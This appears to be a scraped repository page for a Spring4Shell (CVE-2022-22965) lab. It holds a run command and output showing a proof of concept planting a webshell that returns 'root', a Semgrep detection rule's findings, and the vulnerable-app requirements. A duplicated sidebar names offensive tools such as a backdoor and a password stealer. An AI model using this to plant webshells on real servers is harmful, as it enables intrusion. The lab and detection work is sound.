CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

Lite version of my Gatekeeper backdoor for public use.

Yuyu Scanner is a Web Reconnaissance & Web Analysis Scanner to find assets and information about targets.

ORector - A Fast Python tool designed to detect open redirects vulnerabilities on websites

Scans all drives for log4j jar files and gets their version from the manifest

This repo is about steps to create a effective custom wordlist in a few clicks/

Industry ready custom API payload with an easy format for building Python APIs (Django/Django Rest Framework)

This collection of tools that makes it easy to secure and/or obfuscate messages, files, and data.

A Fast Broken Link Hijacker Tool written in Python

Scan publicly accessible assets on your AWS cloud environment

Python tool for exploiting CVE-2021-35616

Fetch Chrome, Firefox, WiFi password and system info

NoSecerets is a python script that is designed to crack hashes extremely fast. Faster even than Hashcat

Selamat Datang DiTools Crack-Old, Crack Old Adalah Sebuah Crack Tanpa Login Dan Crack Menggunakan Akun Facebook Tua/Old.

Python script that sends CVE-2021-44228 log4j payload requests to url list

这次是可可萝病毒！

Salesforce Recon and Exploitation Toolkit

Finite Volume simulation of the Raleigh-Taylor Instability

AIL LeakFeeder: A Module for AIL Framework that automate the process to feed leaked files automatically to AIL

Advanced subdomain scanner, any domain hidden subdomains

A python module for retrieving and parsing WHOIS data

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

Lite version of my Gatekeeper backdoor for public use.

Yuyu Scanner is a Web Reconnaissance & Web Analysis Scanner to find assets and information about targets.

ORector - A Fast Python tool designed to detect open redirects vulnerabilities on websites

Scans all drives for log4j jar files and gets their version from the manifest

This repo is about steps to create a effective custom wordlist in a few clicks/

Industry ready custom API payload with an easy format for building Python APIs (Django/Django Rest Framework)

This collection of tools that makes it easy to secure and/or obfuscate messages, files, and data.

A Fast Broken Link Hijacker Tool written in Python

Scan publicly accessible assets on your AWS cloud environment

Python tool for exploiting CVE-2021-35616

Fetch Chrome, Firefox, WiFi password and system info

NoSecerets is a python script that is designed to crack hashes extremely fast. Faster even than Hashcat

Selamat Datang DiTools Crack-Old, Crack Old Adalah Sebuah Crack Tanpa Login Dan Crack Menggunakan Akun Facebook Tua/Old.

Python script that sends CVE-2021-44228 log4j payload requests to url list

这次是可可萝病毒！

Salesforce Recon and Exploitation Toolkit

Finite Volume simulation of the Raleigh-Taylor Instability

AIL LeakFeeder: A Module for AIL Framework that automate the process to feed leaked files automatically to AIL

Advanced subdomain scanner, any domain hidden subdomains

A python module for retrieving and parsing WHOIS data

Vulnerable app requirements¹